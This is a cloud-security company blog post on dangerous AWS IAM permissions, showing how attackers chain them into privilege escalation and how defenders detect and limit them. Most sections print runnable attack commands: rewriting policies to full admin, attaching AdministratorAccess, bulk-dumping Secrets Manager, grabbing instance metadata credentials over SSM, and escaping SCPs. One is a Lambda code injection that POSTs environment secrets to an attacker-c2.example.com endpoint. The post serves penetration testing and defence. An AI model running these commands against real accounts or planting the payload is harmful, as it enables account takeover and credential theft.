Date
November 24, 2025
Author
Karan Patel
,
CEO

AWS Identity and Access Management (IAM) is the backbone of access control in cloud environments. When misconfigured, it becomes the most powerful attack surface an adversary can target. Unlike traditional network-based attacks, IAM-based privilege escalation is silent, often leaves minimal logs, and can hand an attacker the keys to an entire AWS organization in minutes.

This post breaks down the most dangerous AWS IAM permissions, how attackers chain them together, and what defenders need to watch for. Whether you are a cloud security engineer, a penetration tester, or a DevOps professional trying to harden your environment, understanding these permissions at a technical level is non-negotiable.

If your team needs a structured approach to cloud security assessments, Redfox Cybersecurity offers specialized AWS penetration testing and IAM security reviews tailored to production environments.

Why IAM Permissions Are the Crown Jewels of AWS Attacks

Before diving into specific permissions, it is worth understanding the attacker's mental model. In a typical AWS compromise scenario, an adversary starts with a low-privilege foothold: a leaked access key from a public GitHub repository, an SSRF vulnerability on an EC2 instance, or a misconfigured Lambda function with an over-permissive role.

From there, the goal is privilege escalation. IAM becomes the pivot point. Rather than exploiting kernel vulnerabilities or buffer overflows, attackers enumerate IAM policies, identify misconfigurations, and abuse legitimate AWS API calls to move laterally and escalate.

Tools like Pacu, CloudMapper, enumerate-iam, and Prowler are staples in a cloud attacker's and cloud penetration tester's toolkit. Understanding what these tools look for tells you exactly what to lock down.

The Most Dangerous AWS IAM Permissions

1. iam:CreatePolicyVersion

This is arguably the single most dangerous IAM permission in existence. A principal with iam:CreatePolicyVersion can create a new version of any existing managed policy and set it as the default, effectively rewriting policy documents to grant themselves any permission they want, including *:* on all resources.

# Enumerate current policy versions
aws iam list-policy-versions \
 --policy-arn arn:aws:iam::123456789012:policy/TargetPolicy

# Create a new policy version with full admin permissions
aws iam create-policy-version \
 --policy-arn arn:aws:iam::123456789012:policy/TargetPolicy \
 --policy-document '{
   "Version": "2012-10-17",
   "Statement": [{
     "Effect": "Allow",
     "Action": "*",
     "Resource": "*"
   }]
 }' \
 --set-as-default

[cta]

An attacker who compromises a developer's access key and finds this permission attached can escalate to full administrator silently. The activity looks like routine policy management in CloudTrail unless you have specific alerting on iam:CreatePolicyVersion with --set-as-default.

2. iam:PassRole Combined with Sensitive Services

iam:PassRole alone is harmless. However, when combined with permissions like ec2:RunInstances, lambda:CreateFunction, glue:CreateJob, or ecs:RegisterTaskDefinition, it becomes a privilege escalation vector. The attacker passes a high-privilege role to a new resource they control, then extracts credentials from that resource.

import boto3

# Attacker creates a Lambda function and passes a high-privilege role to it
client = boto3.client('lambda', region_name='us-east-1')

response = client.create_function(
   FunctionName='exfil-creds',
   Runtime='python3.11',
   Role='arn:aws:iam::123456789012:role/AdminRole',  # High-privilege role being passed
   Handler='index.handler',
   Code={
       'ZipFile': open('payload.zip', 'rb').read()
   },
   Timeout=30
)

# The payload inside the Lambda retrieves its own role credentials
# from the metadata endpoint and exfiltrates them

[cta]

The Lambda function, once invoked, retrieves its temporary credentials from the runtime environment and sends them to an attacker-controlled endpoint. This is particularly effective because the credentials belong to the AdminRole, not the attacker's original identity.

For teams looking to identify and remediate these exact misconfigurations before attackers do, Redfox Cybersecurity's cloud security services include full IAM privilege escalation path analysis.

3. iam:AttachUserPolicy and iam:AttachRolePolicy

These permissions allow an attacker to attach any existing managed policy to a user or role, including AWS-managed policies like AdministratorAccess.

# Attach AdministratorAccess directly to the compromised user
aws iam attach-user-policy \
 --user-name compromised-dev-user \
 --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

# Or attach to a role the attacker can assume
aws iam attach-role-policy \
 --role-name target-role \
 --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

[cta]

This is a one-liner escalation. If a service account has this permission and its access keys are exposed, the attacker has full administrator access within seconds. Detection requires monitoring for AttachUserPolicy and AttachRolePolicy events in CloudTrail, specifically when the policy ARN contains AdministratorAccess or *.

4. sts:AssumeRole Without Condition Constraints

Overly permissive trust policies on roles are one of the most common misconfigurations found in real AWS environments. A role with a trust policy that allows sts:AssumeRole from * or from any principal in the account without MFA or external ID conditions is a lateral movement goldmine.

{
 "Version": "2012-10-17",
 "Statement": [
   {
     "Effect": "Allow",
     "Principal": {
       "AWS": "arn:aws:iam::123456789012:root"
     },
     
"Action": "sts:AssumeRole"
   }
 ]
}

[cta]

Any principal in the account can assume this role. An attacker with any valid credentials in the account can pivot to this role and inherit its permissions. The fix requires adding a Condition block that restricts assumption to specific principals, enforces MFA, or requires an ExternalId for cross-account scenarios.

Using Pacu to automate role assumption enumeration:

# Install and configure Pacu
pip install pacu

# Run IAM privilege escalation enumeration module
pacu
# Inside Pacu:
Pacu (session) > import_keys --all
Pacu (session) > run iam__enum_assume_role
Pacu (session) > run iam__privesc_scan

[cta]

5. secretsmanager:GetSecretValue at Scale

This permission, when granted without resource-level restrictions, allows a principal to read every secret in AWS Secrets Manager. In practice, this means database passwords, API keys, third-party service credentials, and sometimes even hardcoded IAM access keys stored by developers as "temporary" solutions that became permanent.

# Enumerate all secrets in the account
aws secretsmanager list-secrets --query 'SecretList[*].ARN' --output text \
 | tr '\t' '\n' > secret_arns.txt

# Bulk exfiltrate all secret values
while IFS= read -r arn; do
 echo "=== $arn ==="
 aws secretsmanager get-secret-value \
   --secret-id "$arn" \
   --query 'SecretString' \
   --output text
 echo ""
done < secret_arns.txt > exfiltrated_secrets.txt

[cta]

In a real engagement, this single permission has led to full environment compromise because the secrets contained IAM access keys for admin accounts, bypassing the IAM permission chain entirely. Always scope secretsmanager:GetSecretValue to specific secret ARNs using resource-based conditions.

If you want to learn how to audit your own environments for these misconfigurations in a structured lab setting, check out Redfox Cybersecurity Academy for hands-on cloud security courses.

6. ec2:DescribeInstances Combined with ssm:StartSession

AWS Systems Manager Session Manager is a legitimate remote access tool. However, ssm:StartSession combined with ec2:DescribeInstances allows an attacker to open interactive shell sessions to any EC2 instance running the SSM agent, without needing SSH keys or security group changes.

# Enumerate running EC2 instances
aws ec2 describe-instances \
 --filters "Name=instance-state-name,Values=running" \
 --query 'Reservations[*].Instances[*].[InstanceId,Tags[?Key==`Name`].Value|[0],PrivateIpAddress]' \
 --output table

# Start a session to a target instance
aws ssm start-session \
 --target i-0abc123def456789

# Once inside, extract instance metadata and credentials
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

[cta]

This is particularly dangerous in environments where EC2 instances have high-privilege roles attached for operational reasons. The attacker bypasses every network-level control and lands directly inside the instance with shell access.

7. lambda:UpdateFunctionCode on Production Functions

An attacker with lambda:UpdateFunctionCode targeting production Lambda functions can inject malicious code into existing functions without creating new infrastructure. This is a persistence and data exfiltration technique that is extremely difficult to detect without runtime security tooling.

import boto3
import zipfile
import io

# Malicious payload to inject into an existing Lambda function
malicious_code = '''
import boto3
import urllib.request
import json
import os

def handler(event, context):
   # Exfiltrate environment variables (often contain secrets)
   creds = {k: v for k, v in os.environ.items()}

   # Send to attacker-controlled endpoint
   data = json.dumps(creds).encode()
   req = urllib.request.Request(
       'https://attacker-c2.example.com/collect',
       data=data,
       method='POST'
   )
   urllib.request.urlopen(req)

   # Optionally call the original handler to avoid detection
   return {"statusCode": 200, "body": "OK"}
'''

# Package and deploy
zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, 'w') as zf:
   zf.writestr('index.py', malicious_code)

client = boto3.client('lambda')
client.update_function_code(
   FunctionName='production-payment-processor',
   ZipFile=zip_buffer.getvalue()
)

[cta]

Because this modifies an existing trusted function rather than creating a new one, it often flies under the radar of resource-based alerting. Defenses include AWS CloudTrail alerting on UpdateFunctionCode events, Lambda code signing enforcement, and runtime security tools like Falco or AWS GuardDuty.

8. organizations:LeaveOrganization and scp:Detach Style Permissions

In multi-account AWS Organizations environments, permissions that interact with service control policies (SCPs) or organization management are catastrophically dangerous. An account that can detach its own SCPs or leave the organization escapes all policy guardrails and is effectively uncontrolled.

# Check current SCP attachments on an account
aws organizations list-policies-for-target \
 --target-id 123456789012 \
 --filter SERVICE_CONTROL_POLICY

# Detach a restrictive SCP (requires org management permissions)
aws organizations detach-policy \
 --policy-id p-abc123def456 \
 --target-id 123456789012

# Remove account from organization to escape all SCPs
aws organizations leave-organization

[cta]

This is a critical escalation path in enterprise environments. Once an account leaves the organization, all SCP-based restrictions disappear. If the account also has permissive IAM policies that were previously blocked by SCPs, those restrictions are now gone. Monitoring for these API calls at the organization management account level is essential.

How Attackers Chain These Permissions

Real-world privilege escalation rarely relies on a single permission. Attackers enumerate the full permission set available to a compromised identity and build a chain. A typical escalation path might look like this:

  1. Compromise a developer access key from a public S3 bucket or Git repository
  2. Use enumerate-iam to discover available permissions without triggering GuardDuty
  3. Find iam:PassRole and lambda:CreateFunction on the compromised identity
  4. Identify an AdminRole with a permissive trust policy
  5. Create a Lambda function, pass the AdminRole, invoke it, and retrieve admin credentials
  6. Use admin credentials to create a persistent backdoor IAM user with programmatic access
  7. Exfiltrate data from S3, RDS snapshots, and Secrets Manager

Each step uses legitimate AWS API calls. The only artifacts are CloudTrail logs, which are only useful if you have alerting configured for the right events.

For organizations that need expert help building detection logic and hardening IAM configurations, Redfox Cybersecurity provides end-to-end AWS security assessments with actionable remediation guidance.

Defensive Controls That Actually Work

Implement Least Privilege with IAM Access Analyzer

AWS IAM Access Analyzer can automatically generate least-privilege policies based on CloudTrail activity. Use it to right-size permissions for service accounts and human users alike.

# Generate a least-privilege policy based on actual usage
aws accessanalyzer start-policy-generation \
 --policy-generation-details '{"principalArn": "arn:aws:iam::123456789012:role/dev-role"}' \
 --cloud-trail-details '{
   "accessRole": "arn:aws:iam::123456789012:role/AccessAnalyzerRole",
   "trailArn": "arn:aws:cloudtrail:us-east-1:123456789012:trail/main-trail",
   "startTime": "2024-01-01T00:00:00Z",
   "endTime": "2024-04-01T00:00:00Z"
 }'

[cta]

Build CloudTrail Alerting for High-Risk API Calls

Use AWS EventBridge rules to trigger Lambda functions or SNS notifications when high-risk IAM API calls occur.

{
 "source": ["aws.iam"],
 "detail-type": ["AWS API Call via CloudTrail"],
 "detail": {
   "eventSource": ["iam.amazonaws.com"],
   "eventName": [
     "CreatePolicyVersion",
     "AttachUserPolicy",
     "AttachRolePolicy",
     "CreateAccessKey",
     "UpdateAssumeRolePolicy"
   ]
 }
}

[cta]

Enforce Permission Boundaries Across All Roles

Permission boundaries act as a ceiling on effective permissions. Even if an attacker escalates privileges via IAM, they cannot exceed the boundary. Apply them programmatically to every role created in the account.

# Attach a permission boundary to limit blast radius
aws iam put-role-permissions-boundary \
 --role-name target-role \
 --permissions-boundary arn:aws:iam::123456789012:policy/MaxPermissionBoundary

[cta]

Wrapping Up

AWS IAM misconfigurations are not theoretical risks. They are the primary attack path in the majority of real-world cloud breaches. Permissions like iam:CreatePolicyVersion, iam:PassRole, and secretsmanager:GetSecretValue are not inherently evil, but when granted without proper scoping, conditions, and monitoring, they become the most effective privilege escalation tools an attacker can find.

The answer is not to avoid these permissions entirely, it is to grant them with surgical precision, monitor their use continuously, and validate your controls through regular penetration testing.

If you want to go deeper on cloud attack techniques and defenses in a hands-on environment, Redfox Cybersecurity Academy offers structured courses covering AWS security, IAM exploitation, and cloud penetration testing from a practitioner's perspective.

And if you need professional validation of your AWS security posture, Redfox Cybersecurity is ready to help you find what your automated tools are missing.

Copy Code